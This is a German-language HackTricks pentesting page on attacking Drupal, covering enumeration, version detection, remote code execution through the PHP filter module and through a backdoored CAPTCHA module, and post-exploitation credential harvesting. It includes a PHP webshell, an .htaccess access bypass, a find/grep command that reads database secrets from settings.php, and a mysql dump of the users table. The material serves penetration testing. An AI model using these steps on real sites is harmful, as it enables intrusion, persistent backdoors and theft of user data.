12 KiB
Drupal
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Entdeckung
- Überprüfen Sie meta
curl https://www.drupal.org/ | grep 'content="Drupal'
- Node: Drupal indiziert seinen Inhalt mit Knoten. Ein Knoten kann alles enthalten, wie z.B. einen Blogbeitrag, eine Umfrage, einen Artikel usw. Die Seiten-URIs haben normalerweise die Form
/node/<nodeid>
.
curl drupal-site.com/node/1
Enumeration
Drupal unterstützt standardmäßig drei Arten von Benutzern:
Administrator
: Dieser Benutzer hat die vollständige Kontrolle über die Drupal-Website.Authentifizierter Benutzer
: Diese Benutzer können sich auf der Website anmelden und je nach Berechtigungen Operationen wie das Hinzufügen und Bearbeiten von Artikeln durchführen.Anonym
: Alle Website-Besucher werden als anonym bezeichnet. Standardmäßig dürfen diese Benutzer nur Beiträge lesen.
Version
- Überprüfen Sie
/CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
{% hint style="info" %}
Neuere Installationen von Drupal blockieren standardmäßig den Zugriff auf die Dateien CHANGELOG.txt
und README.txt
.
{% endhint %}
Benutzernamen-Enumeration
Registrierung
Unter /user/register versuchen Sie einfach, einen Benutzernamen zu erstellen, und wenn der Name bereits vergeben ist, wird dies angezeigt:
Neues Passwort anfordern
Wenn Sie ein neues Passwort für einen vorhandenen Benutzernamen anfordern:
Wenn Sie ein neues Passwort für einen nicht vorhandenen Benutzernamen anfordern:
Anzahl der Benutzer abrufen
Durch den Zugriff auf /user/<number> können Sie die Anzahl der vorhandenen Benutzer sehen, in diesem Fall sind es 2, da /users/3 einen Fehler "nicht gefunden" zurückgibt:
Versteckte Seiten
Fuzz /node/$
, wobei $
eine Zahl ist (von 1 bis 500 zum Beispiel).
Sie könnten versteckte Seiten (Test, Entwicklung) finden, die von den Suchmaschinen nicht referenziert werden.
Installierte Modulinformationen
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
Automatisch
Automatisierung ist ein wichtiger Aspekt beim Pentesting von Drupal-Webanwendungen. Es gibt verschiedene Tools und Techniken, die Ihnen dabei helfen können, den Prozess effizienter zu gestalten. Hier sind einige Möglichkeiten, wie Sie Automatisierung in Ihre Pentesting-Methodik integrieren können:
1. Scannen auf Schwachstellen
Verwenden Sie automatisierte Schwachstellenscanner wie Burp Suite, OWASP ZAP oder Nessus, um nach bekannten Schwachstellen in der Drupal-Installation zu suchen. Diese Tools können Ihnen helfen, potenzielle Sicherheitslücken wie Cross-Site Scripting (XSS), SQL-Injection und Remote-Code-Ausführung zu identifizieren.
2. Bruteforce-Angriffe
Automatisierte Tools wie Hydra oder Medusa können verwendet werden, um Benutzernamen und Passwörter für Drupal-Administratorkonten zu bruteforcen. Diese Tools können Wörterbuchangriffe oder Brute-Force-Angriffe mit vordefinierten Passwortlisten durchführen.
3. Konfigurationsüberprüfung
Automatisierte Tools wie Droopescan können verwendet werden, um nach unsicheren Konfigurationen in der Drupal-Installation zu suchen. Diese Tools können nach veralteten Versionen, bekannten Sicherheitslücken und unsicheren Einstellungen suchen.
4. Exploit-Frameworks
Verwenden Sie Exploit-Frameworks wie Metasploit oder ExploitDB, um bekannte Schwachstellen in Drupal auszunutzen. Diese Frameworks bieten vorgefertigte Exploits, mit denen Sie Schwachstellen automatisch ausnutzen können.
5. Fuzzing
Fuzzing ist eine Technik, bei der automatisierte Tools zufällige oder gezielte Eingaben in eine Anwendung senden, um Schwachstellen zu identifizieren. Verwenden Sie Tools wie AFL oder Peach Fuzzer, um Drupal auf mögliche Schwachstellen zu testen.
6. Skripting
Verwenden Sie Skriptsprachen wie Python oder Ruby, um automatisierte Tests und Angriffe auf Drupal durchzuführen. Diese Skripte können verwendet werden, um spezifische Schwachstellen zu testen oder benutzerdefinierte Angriffe durchzuführen.
Die Automatisierung kann den Pentesting-Prozess beschleunigen und die Effizienz verbessern. Es ist jedoch wichtig zu beachten, dass automatisierte Tools nicht alle Schwachstellen identifizieren können. Manuelle Überprüfungen und Tests sind immer noch erforderlich, um eine umfassende Sicherheitsbewertung durchzuführen.
droopescan scan drupal -u http://drupal-site.local
RCE
Mit dem PHP-Filter-Modul
{% hint style="warning" %}
In älteren Versionen von Drupal (vor Version 8) war es möglich, sich als Administrator anzumelden und das PHP-Filter
-Modul zu aktivieren, das "das Ausführen von eingebettetem PHP-Code/Snippets ermöglicht".
{% endhint %}
Sie müssen das Plugin PHP installiert haben (überprüfen Sie dies, indem Sie auf /modules/php zugreifen und wenn es einen 403 zurückgibt, existiert es, wenn es nicht gefunden wird, ist das Plugin PHP nicht installiert).
Gehen Sie zu Module -> (Überprüfen Sie) PHP-Filter -> Konfiguration speichern
Klicken Sie dann auf Inhalt hinzufügen -> Wählen Sie Grundseite oder Artikel -> Schreiben Sie PHP-Shellcode im Body -> Wählen Sie PHP-Code im Textformat -> Wählen Sie Vorschau
Greifen Sie schließlich einfach auf den neu erstellten Knoten zu:
curl http://drupal-site.local/node/3
PHP-Filter-Modul installieren
Ab Version 8 wird das PHP-Filter Modul nicht mehr standardmäßig installiert. Um diese Funktion nutzen zu können, müssen wir das Modul selbst installieren.
- Laden Sie die neueste Version des Moduls von der Drupal-Website herunter.
- wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Sobald der Download abgeschlossen ist, gehen Sie zu
Administration
>Berichte
>Verfügbare Updates
. - Klicken Sie auf
Durchsuchen
, wählen Sie die Datei aus dem Verzeichnis aus, in dem Sie sie heruntergeladen haben, und klicken Sie dann aufInstallieren
. - Sobald das Modul installiert ist, können wir auf
Inhalt
klicken und eine neue Grundseite erstellen, ähnlich wie im Beispiel für Drupal 7. Achten Sie erneut darauf,PHP-Code
aus dem Dropdown-MenüTextformat
auszuwählen.
Backdoored-Modul
Ein Backdoored-Modul kann erstellt werden, indem eine Shell zu einem vorhandenen Modul hinzugefügt wird. Module können auf der Website drupal.org gefunden werden. Wählen wir ein Modul wie CAPTCHA aus. Scrollen Sie nach unten und kopieren Sie den Link für das tar.gz Archiv.
- Laden Sie das Archiv herunter und extrahieren Sie dessen Inhalt.
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
- Erstellen Sie eine PHP-Webshell mit dem Inhalt:
<?php
system($_GET["cmd"]);
?>
- Als nächstes müssen wir eine
.htaccess
-Datei erstellen, um uns Zugriff auf den Ordner zu verschaffen. Dies ist notwendig, da Drupal den direkten Zugriff auf den/modules
-Ordner verweigert.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
- Die oben genannte Konfiguration wird Regeln für den Ordner / anwenden, wenn wir eine Datei in /modules anfordern. Kopieren Sie beide Dateien in den Ordner captcha und erstellen Sie ein Archiv.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
- Angenommen, wir haben administrativen Zugriff auf die Website, klicken Sie auf
Verwalten
und dann aufErweitern
in der Seitenleiste. Klicken Sie anschließend auf die Schaltfläche+ Neues Modul installieren
, und wir gelangen zur Installationsseite, z. B.http://drupal-site.local/admin/modules/install
. Navigieren Sie zum mit einer Hintertür versehenen Captcha-Archiv und klicken Sie aufInstallieren
. - Sobald die Installation erfolgreich ist, navigieren Sie zu
/modules/captcha/shell.php
, um Befehle auszuführen.
Nach der Ausnutzung
Lesen Sie settings.php
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
Benutzer aus der Datenbank extrahieren
Um Benutzer aus der Datenbank zu extrahieren, können Sie die folgenden Schritte befolgen:
-
Identifizieren Sie die Datenbank, die von der Drupal-Installation verwendet wird. Dies kann normalerweise in der Konfigurationsdatei
settings.php
gefunden werden. -
Stellen Sie eine Verbindung zur Datenbank her, entweder über ein Datenbankverwaltungstool oder über die Befehlszeile.
-
Führen Sie eine Abfrage aus, um die Benutzertabelle abzurufen. In Drupal ist dies normalerweise die Tabelle
users
.SELECT * FROM users;
Diese Abfrage gibt alle Benutzerdatensätze in der Tabelle zurück.
-
Analysieren Sie die extrahierten Benutzerdaten, um Informationen wie Benutzernamen, E-Mail-Adressen und Passwörter zu erhalten.
Es ist wichtig zu beachten, dass das Extrahieren von Benutzerdaten aus einer Datenbank ohne entsprechende Berechtigungen illegal ist. Stellen Sie sicher, dass Sie die erforderlichen Genehmigungen haben, bevor Sie diese Technik anwenden.
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
Referenzen
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.